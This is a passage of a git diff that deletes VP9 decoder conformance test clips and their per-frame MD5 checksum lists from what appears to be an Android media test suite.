Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x64_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_10x64_vp9_md5
deleted file mode 100644
index 26da4b6..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x64_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-835254d0eecb17bed1f2b0f3a1638165  vp90-2-02-size-10x64-10x64-0001.i420
-c0c95ce9890eab339a0e0f8b26cb095c  vp90-2-02-size-10x64-10x64-0002.i420
-f0337d645ade07cb716952b0d19352e8  vp90-2-02-size-10x64-10x64-0003.i420
-7e3deb21cb3f0ead90c8af94464cde14  vp90-2-02-size-10x64-10x64-0004.i420
-c6b1ca6cfce358c411c0637c581157c8  vp90-2-02-size-10x64-10x64-0005.i420
-10fce3f11f1ce90286ff4d74fe44fcfd  vp90-2-02-size-10x64-10x64-0006.i420
-ee0565a1f121bc905a35550619127a50  vp90-2-02-size-10x64-10x64-0007.i420
-0624b601d379616eb792c94be60b6c91  vp90-2-02-size-10x64-10x64-0008.i420
-a1bb79cdf347548f1103f580f2b6930f  vp90-2-02-size-10x64-10x64-0009.i420
-40e96e16c7e065aa7932e5aa57f32398  vp90-2-02-size-10x64-10x64-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x66.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_10x66.vp9
deleted file mode 100644
index c0ffdc8..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x66.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x66_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_10x66_vp9_md5
deleted file mode 100644
index 40a8a9a..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x66_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-1bd8b2d3bf679c4b925780bf82e12fae  vp90-2-02-size-10x66-10x66-0001.i420
-a0254b4cd4928fe1080cd6f8828288a9  vp90-2-02-size-10x66-10x66-0002.i420
-e416e99644cca481dc2806708d716ecb  vp90-2-02-size-10x66-10x66-0003.i420
-b1ed3203ffc77ed814f1cda7bfe721d2  vp90-2-02-size-10x66-10x66-0004.i420
-0ff7b9d84765f7b0b0650775ba72b334  vp90-2-02-size-10x66-10x66-0005.i420
-8b6cd91e035bad19b46b132bd411231d  vp90-2-02-size-10x66-10x66-0006.i420
-c714759a9a64402043ad00e5677c954c  vp90-2-02-size-10x66-10x66-0007.i420
-8e4738010b724ce66bcd0a5d5afcfbc1  vp90-2-02-size-10x66-10x66-0008.i420
-998a7aab8ed94f4b69bed39fb487f8d5  vp90-2-02-size-10x66-10x66-0009.i420
-9964683a15a65c032631a4f608e6009b  vp90-2-02-size-10x66-10x66-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_130x132.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_130x132.vp9
deleted file mode 100644
index e14d5cc..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_130x132.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_130x132_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_130x132_vp9_md5
deleted file mode 100644
index 451d950..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_130x132_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-8faddcc51f9bff5759dc15c7e6f5ce3f  vp90_2_02_size_130x132.webm-130x132-0001.i420
-74fe93bd53a03c466da40d67431b6d41  vp90_2_02_size_130x132.webm-130x132-0002.i420
-3a40cd8fdab88af3d15b5d4af7d62245  vp90_2_02_size_130x132.webm-130x132-0003.i420
-5c232e8e11f4254f9bf437dcf91418b9  vp90_2_02_size_130x132.webm-130x132-0004.i420
-eb7f2d1700705697d05e322abe12d732  vp90_2_02_size_130x132.webm-130x132-0005.i420
-f3accfe25de02102fd996622f9b43499  vp90_2_02_size_130x132.webm-130x132-0006.i420
-270a3780fc7b84afbe8a340bc2e61871  vp90_2_02_size_130x132.webm-130x132-0007.i420
-c169f3a5d566a1a4afde6c309f1e4644  vp90_2_02_size_130x132.webm-130x132-0008.i420
-48b6fefacb63f286096fb0b65f8bc7c4  vp90_2_02_size_130x132.webm-130x132-0009.i420
-fcc24b1b542545bab9e45b9d79f6b41f  vp90_2_02_size_130x132.webm-130x132-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_132x130.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_132x130.vp9
deleted file mode 100644
index 5282d3d..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_132x130.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_132x130_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_132x130_vp9_md5
deleted file mode 100644
index 415deb4..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_132x130_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-d75a9541df281c3fb1cd24f8be0788b3  vp90_2_02_size_132x130.webm-132x130-0001.i420
-a060549076fbf8856925c7f4a0e007b3  vp90_2_02_size_132x130.webm-132x130-0002.i420
-73ecf525a1a395deed6a7256e2c501d0  vp90_2_02_size_132x130.webm-132x130-0003.i420
-ec636e97f829b3457b7adda98c1c3580  vp90_2_02_size_132x130.webm-132x130-0004.i420
-f56f3f415b6b5d12fb5824aa82365cb3  vp90_2_02_size_132x130.webm-132x130-0005.i420
-376735c39fea4c2f48b8d2d260f9b73e  vp90_2_02_size_132x130.webm-132x130-0006.i420
-c616f543aaa73342b561f08ec24d9792  vp90_2_02_size_132x130.webm-132x130-0007.i420
-b86a6ecf6e5df70b9505861bcc8ac95e  vp90_2_02_size_132x130.webm-132x130-0008.i420
-1d9bc98446d2068fe37abc60abce0d28  vp90_2_02_size_132x130.webm-132x130-0009.i420
-febd071a35d2407e29f72c46f14f4667  vp90_2_02_size_132x130.webm-132x130-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_132x132.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_132x132.vp9
deleted file mode 100644
index 7c36464..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_132x132.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_132x132_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_132x132_vp9_md5
deleted file mode 100644
index cb04a76..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_132x132_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-5dc0ef6d1452bf220dfe752b9c0a6081  vp90_2_02_size_132x132.webm-132x132-0001.i420
-cdec24d8945577908cd05a3254edc1ea  vp90_2_02_size_132x132.webm-132x132-0002.i420
-ce4978e6ab380156c33943b225145af2  vp90_2_02_size_132x132.webm-132x132-0003.i420
-516c9256ab785f04f41fa7b44ac89e6d  vp90_2_02_size_132x132.webm-132x132-0004.i420
-16071c396c07639360260d6544bbc198  vp90_2_02_size_132x132.webm-132x132-0005.i420
-8876317adaf2ee98682b0dbfa50b9cbc  vp90_2_02_size_132x132.webm-132x132-0006.i420
-a30299b275dfd0a08191f6a9f6633138  vp90_2_02_size_132x132.webm-132x132-0007.i420
-49b3e47e41d00cc283d3906bde82abc7  vp90_2_02_size_132x132.webm-132x132-0008.i420
-a922b8d8d9883b5fd05358724a1a84c2  vp90_2_02_size_132x132.webm-132x132-0009.i420
-1bc5c3b99f979087cd6065a9894b0d6d  vp90_2_02_size_132x132.webm-132x132-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x08.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_16x08.vp9
deleted file mode 100644
index 4de0d73..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x08.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x08_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_16x08_vp9_md5
deleted file mode 100644
index 3e3e92a..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x08_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-68dccd167f9aa18df0840ebb8715eb68  vp90-2-02-size-16x08-16x8-0001.i420
-65c90bb99fdbee7abf21031d34cb18dc  vp90-2-02-size-16x08-16x8-0002.i420
-9ef1feb2dcbd4d73f3ee84e9e1cd2668  vp90-2-02-size-16x08-16x8-0003.i420
-b6281f7c88e9aa132d3902046f8cde5a  vp90-2-02-size-16x08-16x8-0004.i420
-4b439b716a294bddf9f56a229705907b  vp90-2-02-size-16x08-16x8-0005.i420
-d42c0a6f0d24522c90bc2233bc1df2c7  vp90-2-02-size-16x08-16x8-0006.i420
-74b763a5a12c4c4a581efb1818a92970  vp90-2-02-size-16x08-16x8-0007.i420
-0c3a0916ddfda5abdd3ac382f036e71f  vp90-2-02-size-16x08-16x8-0008.i420
-26ff590e8ae726f70e8b36f5eaee7a19  vp90-2-02-size-16x08-16x8-0009.i420
-30fa5810995d7132387ea585c4a1cc3a  vp90-2-02-size-16x08-16x8-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x10.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_16x10.vp9
deleted file mode 100644
index 541937a..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x10.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x10_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_16x10_vp9_md5
deleted file mode 100644
index 9e00483..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x10_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-fb3cad61d7d9eb511758dbf87dd8abe1  vp90-2-02-size-16x10-16x10-0001.i420
-4fbc1aa5559c8db2930803893bd6ba75  vp90-2-02-size-16x10-16x10-0002.i420
-2d8e2ee04dcc6097ca9e3f27070cdcc8  vp90-2-02-size-16x10-16x10-0003.i420
-05d419f1322855ba3620665b68ce9910  vp90-2-02-size-16x10-16x10-0004.i420
-b004f8d88cb2c94f4e9a13cfa5bd480a  vp90-2-02-size-16x10-16x10-0005.i420
-9d9dec90e2213c0411939131aa9adf7f  vp90-2-02-size-16x10-16x10-0006.i420
-a00874356ff1b1e9da1a400424661f8d  vp90-2-02-size-16x10-16x10-0007.i420
-fda587eb6323cd98c773f05905ac1794  vp90-2-02-size-16x10-16x10-0008.i420
-781c63d221a04d8130806c799d16753a  vp90-2-02-size-16x10-16x10-0009.i420
-f346e311829f3789dc5a94da48ada5f4  vp90-2-02-size-16x10-16x10-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x16.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_16x16.vp9
deleted file mode 100644
index 4b7f230..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x16.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x16_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_16x16_vp9_md5
deleted file mode 100644
index 11de2b8..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x16_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-b5c9daafa548e54a8e33e9881fda33f4  vp90-2-02-size-16x16-16x16-0001.i420
-1193acd7ea4b7aac968e35ef83c64378  vp90-2-02-size-16x16-16x16-0002.i420
-cd0e42c0b5a8b3be6f0e1d224062bf99  vp90-2-02-size-16x16-16x16-0003.i420
-ed79c71d17f68f86cbfa75ea2bfe97f3  vp90-2-02-size-16x16-16x16-0004.i420
-1502a859c7e07b31faad5b80e3e27cf7  vp90-2-02-size-16x16-16x16-0005.i420
-df3f093da914ea947db93c3baa188ecb  vp90-2-02-size-16x16-16x16-0006.i420
-480f86eb183b99277c1b38fdaafe2970  vp90-2-02-size-16x16-16x16-0007.i420
-023e0114282e04963f0f52e00e65ac61  vp90-2-02-size-16x16-16x16-0008.i420
-e67f29cf0acc7f9b553458e1e5c59ebf  vp90-2-02-size-16x16-16x16-0009.i420
-a779a14ba718f0c1df8a7edc9467d12e  vp90-2-02-size-16x16-16x16-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x18.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_16x18.vp9
deleted file mode 100644
index de0bddc..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x18.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x18_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_16x18_vp9_md5
deleted file mode 100644
index 7dcc81a..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x18_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-5156b11cd9995d0c1638c9b0d2b0786c  vp90-2-02-size-16x18-16x18-0001.i420
-ef78557f93fb3ea770c7d49ab60edf21  vp90-2-02-size-16x18-16x18-0002.i420
-f31fb9bb14566e4538a45ac7bf398b2a  vp90-2-02-size-16x18-16x18-0003.i420
-97633875537f76ade183e975fa91b0fb  vp90-2-02-size-16x18-16x18-0004.i420
-602cf54f9af852175173c21abd63796f  vp90-2-02-size-16x18-16x18-0005.i420
-0b3741a6842cb65d6d21eda891882033  vp90-2-02-size-16x18-16x18-0006.i420
-44240a27a6b6d36c9661d499fb965f87  vp90-2-02-size-16x18-16x18-0007.i420
-9050f263f9a4767f9323ec8aa42cf7e6  vp90-2-02-size-16x18-16x18-0008.i420
-57fa3a8494375f588a95376bc0c3cb28  vp90-2-02-size-16x18-16x18-0009.i420
-084595f2a65aa10e7d3845044a0e7213  vp90-2-02-size-16x18-16x18-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x32.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_16x32.vp9
deleted file mode 100644
index 35371d5..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x32.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x32_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_16x32_vp9_md5
deleted file mode 100644
index f7b1555..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x32_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-c73d611490a5ddec6c690589deaf5e86  vp90-2-02-size-16x32-16x32-0001.i420
-5d8eaeb222aa64abda59ce7b09b2f6d9  vp90-2-02-size-16x32-16x32-0002.i420
-34321856b8dd5bbb9b63db04d3532289  vp90-2-02-size-16x32-16x32-0003.i420
-947337d2fec8a09242f60e31e99f4065  vp90-2-02-size-16x32-16x32-0004.i420
-bb7d92f6fc055f0cf0e97bd2be56cc9e  vp90-2-02-size-16x32-16x32-0005.i420
-5d343c82bcdd0e9d08581043cddfd0ca  vp90-2-02-size-16x32-16x32-0006.i420
-612ded93207712e4916d584cc4a7b87c  vp90-2-02-size-16x32-16x32-0007.i420
-6ba5e0d19893e1b96f5ca86e0bfd7e18  vp90-2-02-size-16x32-16x32-0008.i420
-336572e1dcb110b1eb87bea81e0752f4  vp90-2-02-size-16x32-16x32-0009.i420
-705f73d0a39afce59ea571e68bfe25df  vp90-2-02-size-16x32-16x32-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x34.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_16x34.vp9
deleted file mode 100644
index a9c1024..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x34.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x34_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_16x34_vp9_md5
deleted file mode 100644
index 169e06c..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x34_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-b8bf711d9a1ce49180ed56407c8a4b0a  vp90-2-02-size-16x34-16x34-0001.i420
-0457929b06ce46aec63d66bd38586e3f  vp90-2-02-size-16x34-16x34-0002.i420
-3b5f417ee5a936797a6f0d138b8ed73b  vp90-2-02-size-16x34-16x34-0003.i420
-5d1a42aeecfd5c8513cb2df94c206c8b  vp90-2-02-size-16x34-16x34-0004.i420
-a0ab2dddbc810a1667d779f6ed69d010  vp90-2-02-size-16x34-16x34-0005.i420
-b150cd7c4ec83e6f9d948e99d7465350  vp90-2-02-size-16x34-16x34-0006.i420
-ea39622ad21312bd8bcecdaf09aa18fb  vp90-2-02-size-16x34-16x34-0007.i420
-467a42e1226a01c8ba244f312f588bab  vp90-2-02-size-16x34-16x34-0008.i420
-f2311e15228ffc7fd377b89c203d0fbf  vp90-2-02-size-16x34-16x34-0009.i420
-5df58b3ac0a7856796a46f27be7dcf4c  vp90-2-02-size-16x34-16x34-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x64.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_16x64.vp9
deleted file mode 100644
index 4f9d19c..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x64.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x64_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_16x64_vp9_md5
deleted file mode 100644
index 5b981881..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x64_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-925fdc485f3baa1ed145ae391519d7fd  vp90-2-02-size-16x64-16x64-0001.i420
-d37af656da2d7a727c8451773495d5ed  vp90-2-02-size-16x64-16x64-0002.i420
-8a0f207a99e46f3d3b2aaa3f1b061981  vp90-2-02-size-16x64-16x64-0003.i420
-a3914c7b739d3af2641fd6aae35428ef  vp90-2-02-size-16x64-16x64-0004.i420
-0ba3b49970d7b029f2dfa991fdfc6e61  vp90-2-02-size-16x64-16x64-0005.i420
-55838d1d787dc5a4fa4da2994f04587f  vp90-2-02-size-16x64-16x64-0006.i420
-c089f7ba2b2983df2a4dc2e07798af31  vp90-2-02-size-16x64-16x64-0007.i420
-c23dcb3b109543a61ccfa404a726caae  vp90-2-02-size-16x64-16x64-0008.i420
-01aaf09960f5ca599ca32768f017d0c9  vp90-2-02-size-16x64-16x64-0009.i420
-79fe955692ecba8bbb00b20a42ca8104  vp90-2-02-size-16x64-16x64-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x66.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_16x66.vp9
deleted file mode 100644
index 4499869..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x66.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x66_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_16x66_vp9_md5
deleted file mode 100644
index 34f48af..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x66_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-c7b0d91f362dff0a581434af6e902d43  vp90-2-02-size-16x66-16x66-0001.i420
-d8b016ef59c6bc193b29d1c714f342c1  vp90-2-02-size-16x66-16x66-0002.i420
-c520bd8d4b81aafc7687befff66c7396  vp90-2-02-size-16x66-16x66-0003.i420
-92e81bbd3af675c9cdb1cb00d03dabe1  vp90-2-02-size-16x66-16x66-0004.i420
-a271db3defe5daa6d9e0a73a580f4f88  vp90-2-02-size-16x66-16x66-0005.i420
-4077e857321e241bb98dfd89c0aca46f  vp90-2-02-size-16x66-16x66-0006.i420
-0466e1453a94baf876e9f64b60235300  vp90-2-02-size-16x66-16x66-0007.i420
-9d2cb9c7b180d44841e0e4d8a595d912  vp90-2-02-size-16x66-16x66-0008.i420
-500f443eeb0ecef47c34d1e91f0df6ce  vp90-2-02-size-16x66-16x66-0009.i420
-83354487982915c33b1c6243d80adaeb  vp90-2-02-size-16x66-16x66-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_178x180.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_178x180.vp9
deleted file mode 100644
index c7f72dc..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_178x180.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_178x180_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_178x180_vp9_md5
deleted file mode 100644
index 8af554c..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_178x180_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-ca7515c880d0a8230432e77abf3e3d33  vp90_2_02_size_178x180.webm-178x180-0001.i420
-7612d57deeb9d947529f73dd1b64a08d  vp90_2_02_size_178x180.webm-178x180-0002.i420
-a230690af19b975ffaca630e84e648fe  vp90_2_02_size_178x180.webm-178x180-0003.i420
-c6f829cb3462fcc0f7259819797c3283  vp90_2_02_size_178x180.webm-178x180-0004.i420
-3d13df53df5abb8d7602ffb0a3c89bb6  vp90_2_02_size_178x180.webm-178x180-0005.i420
-08ed7474c5630c1d7de6e32906f8b62f  vp90_2_02_size_178x180.webm-178x180-0006.i420
-d09e4324a86be4e4141fcd72b855744b  vp90_2_02_size_178x180.webm-178x180-0007.i420
-2934746d377ee23fd3eaeea27d049210  vp90_2_02_size_178x180.webm-178x180-0008.i420
-9cbad3dfc8a5665f57f483fede1ac91c  vp90_2_02_size_178x180.webm-178x180-0009.i420
-9c2dc6879c5778f293db30eac2fe7103  vp90_2_02_size_178x180.webm-178x180-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_180x178.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_180x178.vp9
deleted file mode 100644
index 340be2b..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_180x178.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_180x178_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_180x178_vp9_md5
deleted file mode 100644
index dd72479..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_180x178_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-461aa52a5658cbb30320be36bf42867d  vp90_2_02_size_180x178.webm-180x178-0001.i420
-a6c5fb033c04b5bdbe47a07a2ea8a001  vp90_2_02_size_180x178.webm-180x178-0002.i420
-de1d2789826b143aaae0b7c337332a69  vp90_2_02_size_180x178.webm-180x178-0003.i420
-aaf60e6369a72ea8fe47b3767b6b4aef  vp90_2_02_size_180x178.webm-180x178-0004.i420
-40c6bfaf1f4bcd39d6c6cf588ea445cb  vp90_2_02_size_180x178.webm-180x178-0005.i420
-3bfe6508595fb0c000c196cb6387531b  vp90_2_02_size_180x178.webm-180x178-0006.i420
-b70dcaad6d9dd7fe378b323460c3a243  vp90_2_02_size_180x178.webm-180x178-0007.i420
-201fce98c70f2623196a44e40a4850ac  vp90_2_02_size_180x178.webm-180x178-0008.i420
-aba16ce70b06355a025d003d6974790b  vp90_2_02_size_180x178.webm-180x178-0009.i420
-39220f4dd594972d258788528d19460c  vp90_2_02_size_180x178.webm-180x178-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_180x180.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_180x180.vp9
deleted file mode 100644
index c01cc6f..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_180x180.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_180x180_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_180x180_vp9_md5
deleted file mode 100644
index f257f21..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_180x180_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-325a336bcaf9987ab1ad3f6a7328d2be  vp90_2_02_size_180x180.webm-180x180-0001.i420
-e7d73157a4861d98318240b60d157f55  vp90_2_02_size_180x180.webm-180x180-0002.i420
-1db60eb53a9756c751325942a021b36e  vp90_2_02_size_180x180.webm-180x180-0003.i420
-c0adb82dc19f4cabcebd18f0d7712ee5  vp90_2_02_size_180x180.webm-180x180-0004.i420
-35b768881097c1e6b99814e4fbf905d1  vp90_2_02_size_180x180.webm-180x180-0005.i420
-c3af16f1334c6baa0a51086f57c7cfd5  vp90_2_02_size_180x180.webm-180x180-0006.i420
-d30718f4a93162e7752e5177096718ee  vp90_2_02_size_180x180.webm-180x180-0007.i420
-b73f17d3affa5a9f69273579c09f4566  vp90_2_02_size_180x180.webm-180x180-0008.i420
-f596f4234d2486985a2d94ce73bd72ad  vp90_2_02_size_180x180.webm-180x180-0009.i420
-aab77693ee7b744c81a0b913f5318ac2  vp90_2_02_size_180x180.webm-180x180-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x08.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_18x08.vp9
deleted file mode 100644
index c1b063e..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x08.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x08_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_18x08_vp9_md5
deleted file mode 100644
index 19f6cbe..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x08_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-3219af4ef540636b0f67a989e9966059  vp90-2-02-size-18x08-18x8-0001.i420
-1a3655c2cfd2ee332bc89da5b3faf778  vp90-2-02-size-18x08-18x8-0002.i420
-d638d5b361a6d81440e26993ed86c97d  vp90-2-02-size-18x08-18x8-0003.i420
-d9bc2e7cffd66db4ba9dcbce99448d4d  vp90-2-02-size-18x08-18x8-0004.i420
-399f962e0a0573915bc4da4a9f1effcf  vp90-2-02-size-18x08-18x8-0005.i420
-69d917e19b903e4f07f848e9e557bbe7  vp90-2-02-size-18x08-18x8-0006.i420
-d6311488a58acf6eb0cc45bc4fe3c2da  vp90-2-02-size-18x08-18x8-0007.i420
-0ce360a84d5755307f98d65c83f190e1  vp90-2-02-size-18x08-18x8-0008.i420
-2554828e6dbf94424ccac30fb153872e  vp90-2-02-size-18x08-18x8-0009.i420
-598a55f9735e85b8d45105dd6be7f97b  vp90-2-02-size-18x08-18x8-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x10.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_18x10.vp9
deleted file mode 100644
index 5b1d1f4..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x10.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x10_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_18x10_vp9_md5
deleted file mode 100644
index f79825a..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x10_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-bf574489e9360b6475aa012c747e7924  vp90-2-02-size-18x10-18x10-0001.i420
-851100301c2937312a6fd32f5aab5a09  vp90-2-02-size-18x10-18x10-0002.i420
-0f7c1209e44ea7cd4df12d82f9224684  vp90-2-02-size-18x10-18x10-0003.i420
-28d121f9c40de5280435bfdeaec0c072  vp90-2-02-size-18x10-18x10-0004.i420
-bb00898d03ce4dff5f7bee719dd3f5b5  vp90-2-02-size-18x10-18x10-0005.i420
-a098cc66bc25b81f84b0e930b0915cdb  vp90-2-02-size-18x10-18x10-0006.i420
-81e25f19bfcbfce17bd7138eedae04ee  vp90-2-02-size-18x10-18x10-0007.i420
-69c36c5ce555a461f16a1733450f7258  vp90-2-02-size-18x10-18x10-0008.i420
-c95236d9e7c624bb664310bd9ef47fb4  vp90-2-02-size-18x10-18x10-0009.i420
-7ab0942e686939951037314e9402d2c1  vp90-2-02-size-18x10-18x10-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x16.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_18x16.vp9
deleted file mode 100644
index f27acd1..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x16.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x16_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_18x16_vp9_md5
deleted file mode 100644
index aeafea2..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x16_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-9535aaa2ea26fbdc16e7fe9cba3fc9b4  vp90-2-02-size-18x16-18x16-0001.i420
-7f6e7ca33c0b27ff052dc2ab6721e37d  vp90-2-02-size-18x16-18x16-0002.i420
-d37e3f169457a9c7f2a197353e39d3d6  vp90-2-02-size-18x16-18x16-0003.i420
-f26d7d81dd81d051680ea2485e812705  vp90-2-02-size-18x16-18x16-0004.i420
-704b01955ced6d101b9e9315d3327f28  vp90-2-02-size-18x16-18x16-0005.i420
-30d46d6a0f6be383dede451cacf465f4  vp90-2-02-size-18x16-18x16-0006.i420
-83c7ed04f0af61ec665041967cbce05d  vp90-2-02-size-18x16-18x16-0007.i420
-152daf37dd37607886c50dd4c7796357  vp90-2-02-size-18x16-18x16-0008.i420
-609d807351ba74b1c432e3d0516add91  vp90-2-02-size-18x16-18x16-0009.i420
-67953f0c735984232cb6782217cdcdf6  vp90-2-02-size-18x16-18x16-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x18.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_18x18.vp9
deleted file mode 100644
index 35ec6a7..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x18.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x18_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_18x18_vp9_md5
deleted file mode 100644
